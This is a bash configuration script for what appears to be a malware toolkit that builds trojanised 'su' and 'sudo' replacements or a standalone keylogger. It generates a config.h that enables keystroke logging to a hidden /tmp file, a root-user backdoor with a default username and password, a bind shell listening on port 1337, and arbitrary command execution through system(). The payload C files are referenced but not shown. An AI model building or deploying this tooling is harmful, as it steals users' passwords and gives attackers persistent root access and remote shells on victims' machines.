configure

#!/bin/bash

fun=(add-root-user bind-shell system)
programs=(su sudo)

system()
{
	read -p "command to execute: " cmd
	config+=("#include <stdlib.h>")
	config+=("#define PWNFUNCTION system(\"$cmd\");")
}

add_root_user()
{
	config+=("#define PWNFUNCTION add_root_user();")
	read -p "username (default: foxtrot): " username

	if [[ ! -z "$username" ]];then
		config+=("#define USER \"${username}:\"")
	fi

	read -p $'enter a password\n(default: bravo oscar sierra tango alfa): ' pw

	if [[ ! -z "$pw" ]];then
		config+=("// $pw")

		set -x
		pw="$(openssl passwd -1 -salt x0x0x0x0 "${pw}")"
		set +x

		config+=("#define PASSWORD \"$pw\"")
	fi

	config+=('#include "fun/add-root-user.c"')
}

bind_shell()
{
	config+=("#define PWNFUNCTION bind_shell();")
	read -p "listen port (Default: 1337): " port

	if [[ ! -z "$port" ]];then
		config+=("#define PORT $port")
	fi

	config+=('#include "fun/bind-shell.c"')
}

keylogger()
{
	read -p "number of lines to record [empty = store all]: " line_limit
	read -p "logfile (default: /tmp/.keys.txt): " logfile

	config+=("#define KEYLOGGER")
	if [[ ! -z "$line_limit" ]];then
		config+=("#define LINE_LIMIT ${line_limit}")
	fi

	if [[ -z "$logfile" ]];then
		logfile="/tmp/.keys.txt"
	fi

	config+=("#define LOGFILE \"${logfile}\"")
	config+=('#include "fun/keylogger.c"')
}

ask_keylogger()
{
	read -p "enable keylogger? [y/N] " r
	[[ "${r,}" == "y" ]] && keylogger
}

ask_fun()
{
	read -p "use some FUN modules? [y/N] " r
	if [[ "${r,}" == "y" ]];then
		while :;do
			for ((i = 1; i <= ${#fun[@]}; i++));do
				echo "[$i] ${fun[i - 1]}"
			done

			echo "[$i] cancel"
			read -p "> " r

			(( r == i )) && break;
			if (( r < i && r > 0 ));then
				config+=("#define CMDCHANGE")

				# call the function
				${fun[r - 1]//-/_}
				break;
			fi
		done
	fi
}

if [[ "$1" != "generic-keylogger" ]];then
	name="fake$1"
else
	name="$1"
fi

echo -e "\e[32m[+] configuring $name ...\e[0m"

if [[ -e config.h ]];then
	read -p "config.h already exist, do you want to overwrite it? [y/N] " r
	[[ "${r,}" != "y" ]] && exit;
fi


if [[ "$name" != "generic-keylogger" ]];then
	ask_keylogger
	ask_fun
else
	keylogger
fi

echo -e "#ifndef __CONFIG_H__\n#define __CONFIG_H__\n" > config.h


for i in "${config[@]}"
do
	echo -e "$i" >> config.h
done

echo -e "\n#endif" >> config.h
echo -e "\e[32m[+] configuration file created in ${PWD}/config.h\e[0m"